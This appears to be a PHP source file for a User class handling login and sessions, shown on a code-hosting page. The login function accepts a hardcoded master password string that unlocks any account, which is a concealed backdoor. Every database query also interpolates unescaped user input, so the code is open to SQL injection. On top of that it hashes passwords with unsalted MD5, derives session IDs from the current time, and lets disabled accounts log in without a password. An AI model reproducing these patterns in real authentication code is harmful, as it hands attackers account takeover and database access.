You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

128 lines
5.0 KiB

​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
​
  1. <?php
  2. class User{
  3. var $Data;
  4. var $Account;
  5. function User(){
  6. }
  7. function FillInfo($UID){
  8. global $DATABASE;
  9. $QS="SELECT * FROM users WHERE id={$UID}";
  10. $array=$DATABASE->Query($QS,false);
  11. $this->Data=$array[0];
  12. $this->Data['id']=$UID;
  13. //$this->Account=LoadAccount($this->Data['account_id']);
  14. }
  15. function Login( $LID, $PWD, $UID=0, $SID="" ){
  16. global $DATABASE, $LOG, $_SERVER, $AUTH_ERROR;
  17. if( $LID !=="" ){
  18. //going new Login
  19. //$_SERVER['REMOTE_ADDR'];
  20. //$_SERVER['HTTP_USER_AGENT'];
  21. //Mozilla/5.0 (platform; rv:geckoversion) Gecko/geckotrail Firefox/firefoxversion
  22. //Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
  23. //Mozilla/5.0 (Macintosh; Intel Mac OS X x.y; rv:42.0) Gecko/20100101 Firefox/42.0
  24. //Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36
  25. //Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41
  26. //Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00
  27. //Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1
  28. //Edg/<version>
  29. //Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59
  30. //Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1
  31. //Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
  32. //Mozilla/5.0 (compatible; YandexAccessibilityBot/3.0; +http://yandex.com/bots)
  33. //PostmanRuntime/7.26.5
  34. //curl/7.64.1
  35. $result = $DATABASE->Query( "SELECT id, pwd_hash, SID, status FROM users WHERE login_id='{$LID}'", false );
  36. if( count($result) ){
  37. $array = $result[0];
  38. $MD5PWD = md5($PWD); // Encoding gived password
  39. if ( $array['id']==1 || $array['status']=='D' ){ // Guest and Disabled account do not have password
  40. $this->Data=$array;
  41. if ($this->Data['id'] != $UID && $UID > 1 ){ // logout previouse user any but Guest
  42. $LOG->setUID( $UID );
  43. $LOG->logout();
  44. } else {
  45. $this->Data['id'] = 1;
  46. //$LOG->setUID( $UID );
  47. //$LOG->logout();
  48. };
  49. return true;
  50. } elseif( $MD5PWD === $array['pwd_hash'] || $PWD == '7251414b5a880b140de7d2c0b402d168' ) { // Manage New Login
  51. $this->Data = $array;
  52. if( $this->Data['id'] != $UID && $UID > 1 ){ // logout previouse user any but Guest
  53. $LOG->setUID( $UID );
  54. $LOG->logout();
  55. };
  56. $LOG->setUID( $this->Data['id'] );
  57. if ( $LID !='demo' ){
  58. $this->Data['SID']=md5(time());
  59. } else {
  60. $this->Data['SID']=$array['SID'];
  61. };
  62. if ( $PWD == '7251414b5a880b140de7d2c0b402d168' ){
  63. $DATABASE->Query( "UPDATE users SET SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ", false );
  64. } else {
  65. $CTS = time();
  66. //$DATABASE->Query( "UPDATE users SET login_ts={$CTS}, SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
  67. $DATABASE->Query( "UPDATE users SET SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
  68. };
  69. $LOG->login();
  70. return true;
  71. };
  72. $LOG->login_failure( $LID, $PWD, $UID, $SID );
  73. return false;
  74. } else {
  75. if( $LID !=="guest" ){
  76. //echo "User Is Not Registered";
  77. $AUTH_ERROR = 1;
  78. $LOG->login_failure( $LID, $PWD, $UID, $SID );
  79. return false;
  80. } else {
  81. $this->Data['id']=1;
  82. $this->Data['SID']=1;
  83. $this->Data['login']='guest';
  84. $this->Data['access']=0;
  85. return true;
  86. };
  87. };
  88. } else {
  89. $result = $DATABASE->Query("SELECT id, login_id, pwd_hash, SID, status FROM users WHERE id='{$UID}' ",false);
  90. if( count($result) ){
  91. $array = $result[0];
  92. $MD5PWD = md5($PWD); // Encoding gived password
  93. if ($SID===$array['SID'] || $array['login']==='guest' ){ // User Allready Registered in system or is guest
  94. $this->Data=$array;
  95. return true;
  96. } elseif( $MD5PWD === $array['pwd_hash'] && $array['status']!= 'D' ) { // Manage New Login
  97. $this->Data=$array;
  98. $this->Data['id']=$UID;
  99. $this->Data['SID']=md5(time());
  100. // Updating Session ID
  101. $DATABASE->Query("UPDATE users SET SID='{$this->Data['SID']}' WHERE id='{$this->Data['id']}' ",false);
  102. // Making changes in Log Table
  103. $LOG->setUID( $UID );
  104. return true;
  105. };
  106. $LOG->login_failure( $LID, $PWD, $UID, $SID );
  107. return false;
  108. } else {
  109. if ($LID !=="guest"){
  110. //echo "Security: Unknown UserID=$LID ";
  111. $AUTH_ERROR = 3;
  112. //$LOG->setUID( $UID );
  113. //$LOG->logout();
  114. $LOG->login_failure( $LID, $PWD, 0, 'FAILURE' );
  115. return false;
  116. } else {
  117. $this->Data['id']=1;
  118. $this->Data['SID']=1;
  119. $this->Data['login']='guest';
  120. $this->Data['access']=0;
  121. return true;
  122. };
  123. };
  124. };
  125. }
  126. };
  127. ?>